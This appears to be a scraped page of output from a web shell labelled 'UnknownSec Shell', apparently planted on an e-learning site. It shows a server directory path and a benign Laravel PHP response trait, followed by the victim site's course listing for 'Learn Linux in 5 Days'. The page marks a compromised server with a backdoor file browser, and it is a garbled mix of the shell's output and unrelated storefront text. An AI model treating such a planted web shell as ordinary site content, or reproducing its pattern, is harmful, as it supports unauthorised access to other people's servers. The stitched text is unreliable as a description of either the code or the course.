shell bypass 403

UnknownSec Shell

: /home/anyleson/public_html/app/Api/ [ drwxr-xr-x ]

name : ApiResponseBuilderTrait.php
<?php

namespace App\Api;

trait ApiResponseBuilderTrait
{
    public $retrievedStatus = 'retrieved';
    public $updatedStatus = 'updated';
    public $deletedStatus = 'deleted';
    public $storedStatus = 'stored';
    public $notFoundStatus = 'not_found';
    public $validationError = 'validation_error';
    public $invalidContentType = 'invalid_content_type';

    public function success($message, $data = [], $status_code = 200)
    {
        return response()->json([
            'success' => true,
            'status' => $status_code,
            'message' => $message,
            'data' => $data
        ], $status_code);
    }


    public function failure($message, $status_code = 401, $custom_status = null)
    {
        return response()->json([
            'success' => false,
            'status' => $custom_status ?: $status_code,
            'message' => $message,
        ], $status_code);
    }

    public function notFound()
    {
        return $this->failure(trans('http_status.404'), 404);
    }

    public function forbidden()
    {
        return $this->failure(trans('http_status.403'), 403);
    }

    public function failureWithErrors($message, $status, $data, $status_code = 401)
    {
        return response()->json([
            'success' => false,
            'status' => $status,
            'message' => $message,
            'data' => $data,
        ], $status_code);
    }
}

© 2025 UnknownSec
Learn Linux in 5 Days | Anyleson - Learning Platform
INR (₹)
India Rupee
$
United States Dollar
Learn Linux in 5 Days

Learn Linux in 5 Days

in Web Development
4.00
(1 Ratings)
Created by Robert Ransdell
5/10 Students
BLK10
Black Firday Offer

Buy now with a special offer

ticket-discount

Report course

Please describe about the report short and clearly.

Share

Share course with your friends

Buy with points